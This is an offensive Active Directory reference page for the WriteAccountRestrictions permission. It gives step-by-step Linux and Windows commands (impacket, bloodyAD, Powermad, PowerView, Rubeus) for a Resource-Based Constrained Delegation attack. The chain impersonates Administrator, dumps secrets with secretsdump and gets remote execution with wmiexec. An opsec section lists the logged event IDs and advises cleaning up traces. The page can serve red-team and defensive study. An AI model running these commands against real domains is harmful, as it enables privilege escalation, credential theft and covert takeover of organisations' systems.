WriteAccountRestrictions

Source principal can write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer, enabling Resource-Based Constrained Delegation (RBCD) attacks to obtain a service ticket as any user.

Applies to: User/Group/Computer → Computer

Linux Abuse

Step 1: Get or create a principal with an SPN (controlled account)

# Option A: Use an existing machine account you control
# Option B: Create a new computer account (requires MachineAccountQuota > 0)
addcomputer.py -computer-name 'ATTACKER$' -computer-pass '<attacker-computer-pass>' \
  -dc-ip <dc-ip> '<domain>/<username>:<password>'

Step 2: Write RBCD attribute on target computer

# bloodyAD
bloodyAD -u <username> -p '<password>' -d <domain> --host <dc-ip> set object '<target-computer>$' \
  msDS-AllowedToActOnBehalfOfOtherIdentity '<attacker-computer-sid>'

# rbcd.py (impacket)
rbcd.py -delegate-from 'ATTACKER$' -delegate-to '<target-computer>$' \
  -dc-ip <dc-ip> -action write '<domain>/<username>:<password>'

# Pass-the-Hash
rbcd.py -delegate-from 'ATTACKER$' -delegate-to '<target-computer>$' \
  -dc-ip <dc-ip> -action write -hashes ':<ntlm-hash>' '<domain>/<username>'

Step 3: Verify the write

rbcd.py -delegate-to '<target-computer>$' -dc-ip <dc-ip> -action read '<domain>/<username>:<password>'

Step 4: Obtain service ticket impersonating target user

getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
  -dc-ip <dc-ip> '<domain>/ATTACKER$:<attacker-computer-pass>'

# Pass-the-Hash variant
getST.py -spn 'cifs/<target-computer>.<domain>' -impersonate Administrator \
  -dc-ip <dc-ip> -hashes ':<attacker-ntlm-hash>' '<domain>/ATTACKER$'

Step 5: Use the ticket

export KRB5CCNAME=Administrator@cifs_<target-computer>.<domain>@<domain>.ccache
secretsdump.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'
wmiexec.py -k -no-pass '<domain>/Administrator@<target-computer>.<domain>'

SPN-less controlled account (U2U technique)

# Get TGT for controlled account (no SPN required)
getTGT.py -hashes ':' '<domain>/<controlled-user>:<password>'

# Extract session key from TGT
describeTicket.py '<controlled-user>.ccache' | grep 'Ticket Session Key'

# Temporarily set NT hash to session key
changepasswd.py -newhashes ':<session-key>' '<domain>/<controlled-user>:<password>@<dc-ip>'

# S4U2self + U2U + S4U2proxy
KRB5CCNAME='<controlled-user>.ccache' getST.py -u2u -impersonate Administrator \
  -spn 'host/<target-computer>.<domain>' -k -no-pass '<domain>/<controlled-user>'

# Restore original hash
changepasswd.py -hashes ':<session-key>' -newhashes ':<original-ntlm-hash>' \
  '<domain>/<controlled-user>@<dc-ip>'

Windows Abuse

Step 1: Create attacker computer account (Powermad)

New-MachineAccount -MachineAccount ATTACKER -Password $(ConvertTo-SecureString '<attacker-computer-pass>' -AsPlainText -Force)

Step 2: Get attacker computer SID

$AttackerSid = Get-DomainComputer ATTACKER -Properties objectsid | Select-Object -ExpandProperty objectsid

Step 3: Build security descriptor and write RBCD

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer <target-computer> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

Step 4: S4U2 abuse with Rubeus

# Hash the attacker computer password
Rubeus.exe hash /password:<attacker-computer-pass>

# Execute S4U chain
Rubeus.exe s4u /user:ATTACKER$ /rc4:<attacker-ntlm-hash> /impersonateuser:Administrator \
  /msdsspn:cifs/<target-computer>.<domain> /ptt

Step 5: Cleanup RBCD attribute

Set-DomainObject <target-computer> -Clear 'msds-allowedtoactonbehalfofotheridentity'

Opsec

Writing msDS-AllowedToActOnBehalfOfOtherIdentity generates Event ID 4662 + 4738 on the target computer object
Computer account creation (MachineAccountQuota) generates Event ID 4741 — prefer using an existing controlled account
S4U2self + S4U2proxy chain visible in Kerberos logs (Event ID 4769) on the DC
Target user must not be in Protected Users group or marked sensitive for delegation
Clean up msDS-AllowedToActOnBehalfOfOtherIdentity after exploitation